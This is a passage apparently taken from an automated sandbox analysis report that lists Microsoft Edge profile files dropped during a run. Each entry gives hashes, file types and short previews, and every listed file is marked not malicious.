C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.308335768508757
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxTtsPfc7leeBakEspCgHlYhbyDF:F2fa02keBaklTihy
MD5:	5290F8512002D7D5A0F5438A69191B11
SHA1:	D722EE074CF5B9B53D9F716D8414BAB9F761CAC6
SHA-256:	D968CC680F8AA18CD9EAAB393BF9166223121CF756AC5FF5F17CD8593DB8F680
SHA-512:	78F05D630FE84741D24A428BC82E540D575A2FAB688191248B42CEA34E405AFE463DCEB6518FAB15FA187E6615E8013C5A7AF6E6D345F16D48FA946E8F93E3F8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378726535001158","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378726537707706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.378019898823705
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSDWG:JkIEumQv8m1ccnvSE5DHlGFh52cCBw1a
MD5:	B4C4FD19B7AEFA468FBB7B03283B128A
SHA1:	7099193556220B0304E45632D49DF8CD8A0C237F
SHA-256:	2EE139F76199E916B5E7D6BF8A0C03682FE8CD569D762255B71725C9EBB874F5
SHA-512:	4BE8E073B93C7F6094A31254AB1E78B9CA604B3D8782439299A095404A80EEEC368CC260B27581C18BC082B2C05B7B61C57D8FACD7E93B0CCBD98BE3A2A753B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27df0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF28e5b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF290fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a5e6a186-4fd9-4cd1-9127-56dadc6ae615.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10144
Entropy (8bit):	5.119245482922909
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNP9kzBFZI8xbV+FbqQwYCHPSYJ:stQQOVszgtJ4bG+Qw3
MD5:	5A5C13452160DC3E4E0C0212CCAF4350
SHA1:	82CD29075180EC9EAFAB5029BBE9A6CC0C8D8B5E
SHA-256:	C14E3D1809DE2A406F46327D095C9440960E602EEBB5814892626282BB903A70
SHA-512:	20D50F83E349C6A9E164AC1E383F16751361DFDCF3E7C40DD2BC0ED4DD4AD901725B12663E5DABED1AB8AFAF374DC9BC2C726B3367E8E467D758888E2A7AD156
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2b711.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10144
Entropy (8bit):	5.119245482922909
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNP9kzBFZI8xbV+FbqQwYCHPSYJ:stQQOVszgtJ4bG+Qw3
MD5:	5A5C13452160DC3E4E0C0212CCAF4350
SHA1:	82CD29075180EC9EAFAB5029BBE9A6CC0C8D8B5E
SHA-256:	C14E3D1809DE2A406F46327D095C9440960E602EEBB5814892626282BB903A70
SHA-512:	20D50F83E349C6A9E164AC1E383F16751361DFDCF3E7C40DD2BC0ED4DD4AD901725B12663E5DABED1AB8AFAF374DC9BC2C726B3367E8E467D758888E2A7AD156
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF30495.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10144
Entropy (8bit):	5.119245482922909
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNP9kzBFZI8xbV+FbqQwYCHPSYJ:stQQOVszgtJ4bG+Qw3
MD5:	5A5C13452160DC3E4E0C0212CCAF4350
SHA1:	82CD29075180EC9EAFAB5029BBE9A6CC0C8D8B5E
SHA-256:	C14E3D1809DE2A406F46327D095C9440960E602EEBB5814892626282BB903A70
SHA-512:	20D50F83E349C6A9E164AC1E383F16751361DFDCF3E7C40DD2BC0ED4DD4AD901725B12663E5DABED1AB8AFAF374DC9BC2C726B3367E8E467D758888E2A7AD156
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF379e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10144
Entropy (8bit):	5.119245482922909
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNP9kzBFZI8xbV+FbqQwYCHPSYJ:stQQOVszgtJ4bG+Qw3
MD5:	5A5C13452160DC3E4E0C0212CCAF4350
SHA1:	82CD29075180EC9EAFAB5029BBE9A6CC0C8D8B5E
SHA-256:	C14E3D1809DE2A406F46327D095C9440960E602EEBB5814892626282BB903A70
SHA-512:	20D50F83E349C6A9E164AC1E383F16751361DFDCF3E7C40DD2BC0ED4DD4AD901725B12663E5DABED1AB8AFAF374DC9BC2C726B3367E8E467D758888E2A7AD156
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.576245612824997
Encrypted:	false
SSDEEP:	768:sniaAOWP68fPm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVNZhH58Srw9pTtu1:sniaAOWP68fPmu1jakZhZ8XntG
MD5:	997A354195DD992BA868F4D3BA60E770
SHA1:	9B145F8B6A88B37FE22176AE4E4CF840E1944B76
SHA-256:	7B70F4D184E5A5B90B0905D57EE46360C99C9F39C36EBC68B2D12B7F0D6572C6
SHA-512:	20AD598EDB05133DB29D532384413DF0352AA7F7A84D1166C0B7B36566F36CFE843EA6D356AEDC4F4B38978397BDDEF6BBF4FB5A73CA66AD82250380E6F78147
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376134531205256","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376134531205256","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2b81b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.576245612824997
Encrypted:	false
SSDEEP:	768:sniaAOWP68fPm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVNZhH58Srw9pTtu1:sniaAOWP68fPmu1jakZhZ8XntG
MD5:	997A354195DD992BA868F4D3BA60E770
SHA1:	9B145F8B6A88B37FE22176AE4E4CF840E1944B76
SHA-256:	7B70F4D184E5A5B90B0905D57EE46360C99C9F39C36EBC68B2D12B7F0D6572C6
SHA-512:	20AD598EDB05133DB29D532384413DF0352AA7F7A84D1166C0B7B36566F36CFE843EA6D356AEDC4F4B38978397BDDEF6BBF4FB5A73CA66AD82250380E6F78147
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376134531205256","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376134531205256","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.843750907624731
Encrypted:	false
SSDEEP:	24:F2xc5NmS2cncmo0CRORpllg2Dy5SfRHrVdCRORpllg2qRLoEKCRORpllg2Dy5tRp:F2emSHtrdDRfBRXrdMLoDrdDcBSrdLBA
MD5:	3B7194EA2128FE0C8301AEFDB895EC40
SHA1:	82CA19422ACC50DF326DBF2A8E4A90FAAD2C2FD3
SHA-256:	10B644DC1D8EB493EC2FB2560844860D248CD4764BBD58E6D05FF48F3163B195
SHA-512:	0A57F68C35B9D1FE7BC85207C0C190C675595E2B8C57C15C56B9B11213C317D223ED21E7AB71E65B457BB6013D09D905D85C07273C5D398A30BC9DC2B23C6D8D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2(.s1m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.1787561058811
Encrypted:	false
SSDEEP:	6:HUYRB1cNwi23oH+TcwtE/a252KLlVUYR3BL+q2PcNwi23oH+TcwtE/a2ZIFUv:fPZYeb8xL3UvLZYeb8J2FUv
MD5:	4411B2F20921058169E18A877A890E2B
SHA1:	8C43DD540DCE39D2D8E72C16EEF5D5F90BB812D4
SHA-256:	0D096C8426C06F3BDDCEA420B1A0CED86154E8CF96848D9DEEAAF20F11858D81
SHA-512:	36322459C20EC567B9297CF5A2DF96476BBB0CE9B4F2DEAEBBA7E35B851E26C6EC67CDC977906DC19FBEDB7E0A2B7E88AF9BBBAB208D1D140F28F2A82C34DDD5
Malicious:	false
Preview:	2024/11/15-03:55:42.429 1c98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/15-03:55:42.445 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114124
Entropy (8bit):	5.579057177634943
Encrypted:	false
SSDEEP:	1536:Aa906yxPXfOrr1lhCe1nL/rmL/rSZXsCjaWNcHrZIHzy5z:79LyxPXfOrr1lMe1nL/CL/SXsA8cWZ
MD5:	7649083F9C9606A730ABD4572DF20B9E
SHA1:	5DB567144FA4ACDC1B1BDFA69C6F8EA745F50AE6
SHA-256:	B3ACAC12EEFB78152DC7D321A87D80D5435FA010BF95853A93663550B0000075
SHA-512:	60B30ABAE5559BBBDBE400CB7193F5189EF4D1A8D208B0DEC1B218A83A0073C7777415E90AC7246408C6326E3C1863E60681059E88581E7BDC15639C96B98CBC
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188377
Entropy (8bit):	6.381909472368731
Encrypted:	false
SSDEEP:	3072:APx62V6YGs5vwMG34QML/4SMJZEwMadQKTme3SrBcx:KLvwf43L/vIZ1dRTQY
MD5:	F2C3AC608D752E16D78A54AC674741D8
SHA1:	9084BF1276A3F7843958E79823C66DD9D81E7B51
SHA-256:	4EC97ED35E75EAE366D2F6DC6ADE761A9D10A67FFA047AD914D315CD6469E210
SHA-512:	148FADE2990A03302A7CD0EEDDDE320494959FC5D7FBAE1025ED0A0187BAF62014F3A9FDB8190D38296F1957A42E32D5F01EB3201938047DF9919E66E156D523
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......RcjC.J....exports...Rc._.y....module....Rc.O......define....Rb..E.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...t"b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
